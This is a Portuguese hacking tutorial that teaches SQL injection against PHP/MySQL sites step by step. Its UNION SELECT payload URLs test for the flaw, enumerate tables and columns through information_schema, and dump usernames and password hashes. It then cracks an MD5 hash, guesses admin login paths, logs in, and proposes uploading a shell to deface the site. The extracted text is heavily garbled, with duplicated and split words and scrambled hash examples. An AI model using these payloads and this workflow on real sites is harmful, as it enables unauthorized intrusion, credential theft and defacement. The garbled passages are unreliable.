Apostila de Injeção SQL (SQLI) By SoUz
O que é Injeção SQL (SQLi)?
SQLI, como o nome já á a dizer é a injeção de comandos SQ L. Ops!Mas o que é SQL? Para quem não sabe o que que é SQL (Struc (Structured tured Qu ry Language): é uma linguagem que serve para acesso acesso e controle de banco banco de dados a partir de instruções (q erys). Para quem não têm noção da estrutura de um banco de dad s olhe o esquema abaixo:
Banco de Da os Tabela Dados
Esta é a hierarquia de um banco de dados. Primeiro é acessado o banco de dados, que lhe dará os nomes das tabelas, então é acessada a tabela de sua escolha que lhe dará os dados organizados em linhas e colunas.
Então, agora que você já entende a estrutura de um Banco de Dados (o cham chamare aremo moss de de BD da ui pra frente) vamos exemplificar uma query: SELECT coluna FROM t bela where dado_da_coluna = 1 Mas o que é isso!? Ess é uma query bem simplificada, mas importante a se abordar aqui são o s comandos e elementos que organiz m a query, porque estes serão util izados na injeção injeção SQL. Alguns destes: destes: SELECT: Seleciona dados e tabelas belas num num BD UPDATE: Comando que atua liza um dado dado em uma tabela tabela do BD FROM: Operador que direci na comandos (Como no exemplo acima, onde ireciona a seleção da coluna para a tabela) tabela) ORDER BY: Utilizado Utilizado para para or ernar os dados de de uma tabela a partir de uma c luna WHERE: Operador que identi fica fica um dado dado em uma uma ou mais mais colunas colunas (Como (Como n exemplo acima, so vai ser selecionado onde tiver d do_da_coluna = 1) COUNT(*): COUNT(*): Faz a contagem contagem de linhas de uma tabela DELETE: Deleta dados de um a tabela ou uma tabela de um BD
Vamos a Injeção Parte 1 – Injetando em PHP + MySQL
Primeiro Primeiro devemo devemoss enten entender der onde ocorre a injeção. injeção. É aqui: HTTP://sitequalquerdavida. HTTP://sitequalquerdavida.com/pagina. com/pagina.php?id=23 php?id=23 , por exemplo.
Pra quem está começando agora, vou explicar. Observe esta parte aqui: aqui: .php?id=23, isto é uma consulta da página pelo php a um BD. E daí? E daí que é ai que vamos colocar nossas intruções SQL, fazendo assim a injeção. Mas não é todo o site que é vulnerável a SQLi, então vamos ver os métodos que que usaremos para fazer esta verificação: Acrescent Acrescentar ar uma aspa ao final da consulta consulta HTTP://sitequalquerdavida. HTTP://sitequalquerdavida.com/pagina. com/pagina.php?id=23’ php?id=23’
Acrescent Acrescentar ar uma aspa no lugar lugar da consulta consulta – HTTP://sitequalquerdavida. HTTP://sitequalquerdavida.com/pagina. com/pagina.php?id=’ php?id=’
Se isto causar um um erro na página, como este abaixo, esta esta está vulnerável a SQLi. Warning: Supplied argument is not a valid MySQL result resource in x:\server\apache\htdocs\ x:\server\apache\htdocs\pagina.php pagina.php on line 13
Vejam que este é um erro do MySQL. Mas e se for SQL Server e o site em .asp da pra fazer?Sim! Mas primeiro vamos terminar terminar com esta parte. parte. Ok, o site é vulnerável oque fazer agora? Vamos saber quantas colunas têm a tabela que dá os dados dessa consulta: HTTP://sitequalquerdavida. HTTP://sitequalquerdavida.com/pagina. com/pagina.php?id=23 php?id=23 order by 10
Se a página página carregar carregar corretament corretamentee quer dizer dizer que a tabela tem no mínimo mínimo 10 colunas, colunas, consideremo consideremoss que não carregou corretam corretamente ente,, logo ela tem menos de 10 colunas. Então vamos diminuir o número: HTTP://sitequalquerdavida. HTTP://sitequalquerdavida.com/pagina. com/pagina.php?id=23 php?id=23 order by 5
Carregou! Certo, então está entre 5 e 10 colunas, vamos testar ordenar a partir da sexta coluna: HTTP://sitequalquerdavida. HTTP://sitequalquerdavida.com/pagina. com/pagina.php?id=23 php?id=23 order by 6
Deu erro! Então são 5 colunas! colunas! Ta e ai? O que tem de tão importante? importante? Vamos selecionar os dados dessas colunas na página, para que depois depois possamos fazer a injeção de comandos. HTTP://sitequalquerdavida. HTTP://sitequalquerdavida.com/pagina. com/pagina.php?id=23 php?id=23 union all select 1,2,3,4,5
Vamos usar a imagem abaixo como exemplo para esta seleção:
Percebe-se que não aparece nada de diferente. difer ente. Entao vamos tornar a variável da consulta nula: HTTP://sitequalquerdavida. HTTP://sitequalquerdavida.com/pagina. com/pagina.php?id=NULL php?id=NULL union all select 1,2,3,4,5
Ou HTTP://sitequalquerdavida. HTTP://sitequalquerdavida.com/pagina. com/pagina.php?id=-23 php?id=-23 union all select 1,2,3,4,5
E então:
Esses números são os números números das colunas, em ordem, que estão sendo consultadas na tabela.
Agora vamos fazer uma injeção bem simples ai, @@version (para ver que versão é o BD). HTTP://sitequalquerdavida. HTTP://sitequalquerdavida.com/pagina. com/pagina.php?id=NULL php?id=NULL union all select 1,@@version,3,4,5
Ok, mas quando quando vamos invadir invadir esse site?? site?? Vamos pegar os nomes das tabelas então: HTTP://sitequalquerdavida. HTTP://sitequalquerdavida.com/pagina. com/pagina.php?id= php?id= NULL union all select group_concat(table_name),2 group_concat(table_name),2,3,4,5 ,3,4,5 from information_schema.tables information_schema.tables where table_schema=database() table_schema=database()
Agora embolou embolou tudo tudo ne? ne? Vamos ler a nossa injeção injeção union all SELECT SELECT group_conc group_concat(TA at(TABLE_N BLE_NAME) AME) from INFORMATI INFORMATION_SC ON_SCHEMA. HEMA.table tabless where TABLE_SCHEMA=database().
Estamos selecionando ( SELECT) o nome das tabelas (TABLE_NAME) da tabela tables do BD information_schema(INFORMATION_SCHEMA.tables). information_schema(INFORMATION_SCHEMA.tables). Onde a coluna TABLE_SCHEMA tem o nome do BD. O BD inform informati ation_ on_sch schema ema se encont encontra ra no mesmo mesmo Serve Serverr em que que está o BD que querem queremos os acessar, acessar, nele se guardam guardam informações informações sobre nomes de tabelas tabelas e colunas colunas de de todos todos os bancos bancos de dados dados daquele daquele site, site, ele foi feito feito para que houvesse mais agilidade nas consultas, porém cria esta vulnerabilidade que exploramos. Entendeu?Espero que sim, por que esta é uma parte importante. Veja agora como fica a consulta que fizemos anteriormente:
Pronto, temos os nomes das tabelas, mas não temos os dados ainda.
Então vamos vamos pegar os nomes nomes das colunas colunas da tabela tabela que desejamos desejamos ver. HTTP://sitequalquerdavida. HTTP://sitequalquerdavida.com/pagina. com/pagina.php?id= php?id= NULL union all select group_concat(column_name),2,3 group_concat(column_name),2,3,4,5 ,4,5 from information_schema.columns information_schema.columns where table_name=0x7573756172696f73 table_name=0x7573756172696f73
Ta complicando dinovo ne? Vou explicar, agora estamos consultando os nomes das colunas (column_name), da tabela columns da BD Information_schema(information_schema.columns) onde o nome da tabela tabela é igual igual a usuários( usuários(0x7573756172696f73). [...]usuários(0x oque?). Para que seja feita a consulta o nome da tabela tem de estar em hexadecimal(usuários = 7573756172696f73) e com o filtro MySQL na frente(0x). Você pode transf transformar ormar qualqu qualquer er caractere caractere em em hexadecimal, existem diversos conversores online basta procurar no google. E então temos os nomes nomes das colunas: colunas:
Agora vamos pegar os dados tão desejados: HTTP://sitequalquerdavida. HTTP://sitequalquerdavida.com/pagina. com/pagina.php?id=NULL php?id=NULL union all select 1,group_concat(id,0x3a,nome, 1,group_concat(id,0x3a,nome,0x3a,usuario 0x3a,usuario,0x3a,senha),3,4, ,0x3a,senha),3,4,5 5 from usuarios
Bem mais simples que que as anteriores, não? Você está selecionando o id,o nome, o usuário e a senha da tabela usuários.0x3a?? é para que não venha simplismente os dados sem nenhuma separação entre eles(0x3a equvila equvila a : ),vou lhe mostrar mostrar a diferença: diferença: Com divisões divisões – Veja que que tem dois pontos pontos (:) (:) entre cada cada dado
Sem divisões divisões – Os dados estão estão todos todos juntos, juntos, isso então então se trata de simples simples organização. OBS: Você pode usar qualquer qualquer caractere para separar as informações, basta transformá-lo em hexadecimal SQL ( com o filtro 0x) EX: , = 0x2c. 0x2c.
Otimo! Temos os dados! Mas...e a senha? É isso tudo? Calma, esta senha está encriptada, no caso em MD5, que é uma das chamadas chamadas codificações codificações irreversívei irreversíveis. s. Porém existem existem sites que tem um BD que faz comparação de caracteres e suas HASHS (caracteres codificados) MD5 e outra encriptações. Um deles é o HTTP://md5decrypter.co.uk que é um dos dos meus preferidos.
As codificações mais conhecidas conhecidas e mais utilizadas: MD5 MD5 – Ex: Ex: ce47 ce47d0 d072 7243 43bb bb6e 6eaf af5e 5e13 1322 22c8 c81b 1baf af9b 9bbf bf Tê Têm m 32 carac caracte tere ress SHA-1 – Ex: 42e4a3 SHA-1 42e4a3e11 e115d9 5d92f0 2f068e 68e029 029483 48367c 67c028 0288d9 8d975a 75a931 9314 4 Têm 40 caracteres MySQ MySQLL – Ex: Ex: 35bc 35bc08 08a0 a01fe 1fee7 e7af afcc Tê Têm m 16 cara caract cter eres es Continuando, vamos desencriptar esta hash no site que comentei:
A Senha em MD5(64d1f88b9b276aece MD5(64d1f88b9b276aece4b0edcc25b7a434) 4b0edcc25b7a434) é na verdade pacman. Agora já podemos utilizá-la. Mas aonde? Vamos procura a área de administração do site. Você pode usar alguns brute-forces para irem, digamos, chutando para você o endereço da área de login. Ou achar o robots.txt do site e ver se a área de admin está la, indexada. Mas agora vamos ver como se faz na manha mesmo por questão de exercício (não é sempre que você vai ter um brute force por perto). É bem simples, HTTP://siteporaew.com/admin HTTP://siteporaew.com/login HTTP://siteporaew.com/admin-login HTTP://siteporaew.com/adm HTTP://siteporaew.com/logon E outras coisas obvias do gênero, no nosso exemplo o diretório é /admin então vamos:
Somos redirecionados para a página de login( /login.php no caso)
Agora digitamos o login(CARAM) e a senha(pacman) que pegamos e vamos para a área de admin.
PRONTO!!! Daqui você pode upar sua Shell e fazer seu deface ou até mesmo redirecionar para para sua defacepage.Esta defacepage.Esta foi a primeira parte da apostila, a próxima parte vai ser: F a z e n d o u m D e f a c e !